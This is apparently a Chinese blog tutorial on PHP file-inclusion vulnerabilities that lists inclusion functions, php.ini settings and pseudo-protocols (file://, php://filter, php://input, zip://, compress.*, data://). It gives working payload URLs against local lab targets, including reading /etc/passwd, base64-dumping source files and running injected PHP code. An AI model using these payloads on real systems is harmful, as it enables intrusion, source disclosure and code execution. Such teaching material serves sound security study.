日期:2019-07-28 21:24:36
更新:
作者:Bay0net
介绍:


0x01、基本信息

文件包含函数

include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()

环境概要

PHP 配置文件: php.ini
默认路径: /etc/php5/apache2/php.ini

具体要求:

allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。

allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。

0x02、伪协议

file://协议

该协议在双 off 的情况下也可以正常使用;

?page=file:///etc/passwd
?file=file://D:/soft/phpStudy/WWW/phpcode.txt

php://协议

不需要开启 allow_url_fopen
下面的几个需要开启 allow_url_fopen

php://input
php://stdin
php://memory
php://temp

php://filter 读文件

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。

?page=php://filter/read=convert.base64-encode/resource=file1.php

php://input 命令执行

环境:

  • allow_url_fopen :off/on
  • allow_url_include:on

注:当 enctype="multipart/form-data" 时,php://input 是无效的。

payload:

url:  http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
post: <?php phpinfo(); ?>

zip:// 压缩文件

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法:

  • zip://archive.zip#dir/file.txt
  • zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

实例

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

bzip2://协议

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法:

  • compress.bzip2://file.bz2

实例

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法:

  • compress.zlib://file.gz

实例

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

data://

环境:

  • allow_url_fopen :on
  • allow_url_include:on

实例

# 明文
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?> # base64 编码
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x03、Reference

php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽

PHP: 支持的协议和封装协议 - Manual

【汇总】PHP 伪协议 利用的更多相关文章

  1. CTF中常用的php伪协议利用

    1.file:// 作用: 用于访问文件(绝对路径.相对路径.网络路径) 示例: http://www.xx.com?file=file:///etc/passsword 2.php:// 作用:访问 ...

  2. 配合php伪协议利用文件包含漏洞

    文章来源: https://blog.csdn.net/zpy1998zpy/article/details/80598768?utm_medium=distribute.pc_relevant.no ...

  3. 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...

  4. php 伪协议探究

    0x01序 PHP伪协议探究 php中支持的伪协议有下面这么多 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs p ...

  5. [WEB安全]PHP伪协议总结

    0x01 简介 首先来看一下有哪些文件包含函数: include.require.include_once.require_once.highlight_file show_source .readf ...

  6. [WEB安全]SSRF中URL的伪协议

    当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议 0x01 类型 file:/// dict:// sftp:// ldap:// tftp:// gopher:// file: ...

  7. CTF伪协议+preg_replace()函数的代码执行

    一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...

  8. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  9. php伪协议分析与CTF例题讲解

                本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主) 一,php://  访问输入 ...

随机推荐

  1. Linux中的Mariadb数据库的主备

    对于一个mysql服务器, 一般有两个线程来负责复制和被复制.当开启复制之后. MySQL 复制的基本过程如下: 1. Slave 上面的IO线程连接上 Master,并请求从指定日志文件的指定位置( ...

  2. 标准C语言(8)

    指针变量用来记录地址数据,指针变量的用途就是找到另外一个变量,没有记录有效地址的指针不能用来找到其它变量,声明指针变量时必须在变量名称前写*.如果一个指针变量记录了另外一个变量的地址就可以认为它们之间 ...

  3. 从Buck-Boost到Flyback

    电源的拓扑有很多种,但是其实我们能够理解一种拓扑,就可以理解其他拓扑结构.因为组成各种拓扑的基本元素是一样的. 对于隔离电源.大家接触最多的电路拓扑应该是 flyback. 但是大家一开始做电源的时候 ...

  4. CSS3背景定位 background-origin

    background-size 大小 语法 background-size :[ <length> | <percentage> | auto ]{1,2} | cover | ...

  5. React 服务器端渲染流程

    其实我们在访问客户端渲染的页面时,请求到的只是一个 html 空壳,里面引入了一个 js 文件,所有的内容都是通过 js 进行插入的,正是因为页面是由 js 渲染出来的,所以会带来如下几个问题: 1. ...

  6. 什么是Web Service(Web服务)?

    从表面上看,Web Service就是一个应用程序,它向外界暴露出一个能够通过Web进行调用的API.例如可以创建一个提供天气预报的Web Service,那么无论你用哪种编程语言开发的应用都可以通过 ...

  7. [转] Siamese network 孪生神经网络--一个简单神奇的结构

    转自: 作者:fighting41love 链接:https://www.jianshu.com/p/92d7f6eaacf5 1.名字的由来 Siamese和Chinese有点像.Siam是古时候泰 ...

  8. BZOJ 3551: [ONTAK2010]Peaks加强版 Kruskal重构树+dfs序+主席树+倍增

    建出来 $Kruskal$ 重构树. 将询问点向上跳到深度最小,且合法的节点上. 那么,得益于重构树优美的性质,这个最终跳到的点为根的所有子节点都可以与询问点互达. 对于子树中求点权第 $k$ 大的问 ...

  9. 51 Nod 1085 01背包问题

    1085 背包问题  基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题  收藏  关注 在N件物品取出若干件放在容量为W的背包里,每件物品的体积为W1,W2--Wn(Wi为 ...

  10. UVA 12063 Zeros and ones 一道需要好好体会的好题

    #include<bits/stdc++.h> #include<stdio.h> #include<iostream> #include<cmath> ...